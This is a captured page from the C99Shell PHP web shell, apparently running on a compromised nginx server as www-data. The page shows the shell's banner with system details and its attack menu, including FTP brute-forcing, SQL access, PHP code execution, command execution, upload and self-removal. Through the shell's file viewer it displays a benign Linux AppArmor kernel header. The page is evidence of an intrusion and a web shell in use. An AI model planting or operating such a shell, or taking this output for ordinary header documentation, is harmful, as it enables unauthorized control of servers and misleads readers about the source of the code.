!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/src/linux-oracle-6.8-headers-6.8.0-1028/include/uapi/linux/   drwxr-xr-x
Free 83.33 GB of 96.73 GB (86.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     apparmor.h (3.41 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
#ifndef _UAPI_LINUX_APPARMOR_H
#define _UAPI_LINUX_APPARMOR_H

#include <linux/types.h>

#define APPARMOR_MODESET_AUDIT 1
#define APPARMOR_MODESET_ALLOWED 2
#define APPARMOR_MODESET_ENFORCE 4
#define APPARMOR_MODESET_HINT 8
#define APPARMOR_MODESET_STATUS 16
#define APPARMOR_MODESET_ERROR 32
#define APPARMOR_MODESET_KILL 64
#define APPARMOR_MODESET_USER 128

#define APPARMOR_FLAG_NOCACHE 1

enum apparmor_notif_type {
    APPARMOR_NOTIF_RESP_PERM,
    APPARMOR_NOTIF_CANCEL,
    APPARMOR_NOTIF_INTERUPT,
    APPARMOR_NOTIF_ALIVE,
    APPARMOR_NOTIF_OP,
    APPARMOR_NOTIF_RESP_NAME,
};

#define APPARMOR_NOTIFY_VERSION 3

/* base notification struct embedded as head of notifications to userspace */
struct apparmor_notif_common {
    __u16 len;            /* actual len data */
    __u16 version;            /* interface version */
} __attribute__((packed));

struct apparmor_notif_filter {
    struct apparmor_notif_common base;
    __u32 modeset;            /* which notification mode */
    __u32 ns;            /* offset into data */
    __u32 filter;            /* offset into data */

    __u8 data[];
} __attribute__((packed));

// flags
#define URESPONSE_NO_CACHE 1
#define URESPONSE_LOOKUP 2
#define URESPONSE_PROFILE 4
#define URESPONSE_TAILGLOB 8

struct apparmor_notif {
    struct apparmor_notif_common base;
    __u16 ntype;            /* notify type */
    __u8 signalled;
    __u8 flags;
    __u64 id;            /* unique id, not gloablly unique*/
    __s32 error;            /* error if unchanged */
} __attribute__((packed));


struct apparmor_notif_update {
    struct apparmor_notif base;
    __u16 ttl;            /* max keep alives left */
} __attribute__((packed));

/* userspace response to notification that expects a response */
struct apparmor_notif_resp_perm {
    struct apparmor_notif base;
    __s32 error;            /* error if unchanged */
    __u32 allow;
    __u32 deny;
} __attribute__((packed));

struct apparmor_notif_resp_name {
    union {
        struct apparmor_notif base;
        struct apparmor_notif_resp_perm perm;
    };
    __u32 name;
    __u8 data[];
} __attribute__((packed));

union apparmor_notif_resp {
    struct apparmor_notif base;
    struct apparmor_notif_resp_perm perm;
    struct apparmor_notif_resp_name name;
} __attribute__((packed));

struct apparmor_notif_op {
    struct apparmor_notif base;
    __u32 allow;
    __u32 deny;
    pid_t pid;            /* pid of task causing notification */
    __u32 label;            /* offset into data */
    __u16 class;
    __u16 op;
} __attribute__((packed));

struct apparmor_notif_file {
    struct apparmor_notif_op base;
    uid_t subj_uid, obj_uid;
    __u32 name;            /* offset into data */

    __u8 data[];
} __attribute__((packed));

union apparmor_notif_all {
    struct apparmor_notif_common common;
    struct apparmor_notif_filter filter;
    struct apparmor_notif base;
    struct apparmor_notif_op op;
    struct apparmor_notif_file file;
    union apparmor_notif_resp respnse;
};

#define APPARMOR_IOC_MAGIC             0xF8

/* Flags for apparmor notification fd ioctl. */

#define APPARMOR_NOTIF_SET_FILTER      _IOW(APPARMOR_IOC_MAGIC, 0,     \
                        struct apparmor_notif_filter *)
#define APPARMOR_NOTIF_GET_FILTER      _IOR(APPARMOR_IOC_MAGIC, 1,     \
                        struct apparmor_notif_filter *)
#define APPARMOR_NOTIF_IS_ID_VALID     _IOR(APPARMOR_IOC_MAGIC, 3,     \
                        __u64)
/* RECV/SEND from userspace pov */
#define APPARMOR_NOTIF_RECV            _IOWR(APPARMOR_IOC_MAGIC, 4,     \
                        struct apparmor_notif *)
#define APPARMOR_NOTIF_SEND            _IOWR(APPARMOR_IOC_MAGIC, 5,    \
                        union apparmor_notif_resp *)

#endif /* _UAPI_LINUX_APPARMOR_H */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0042 ]--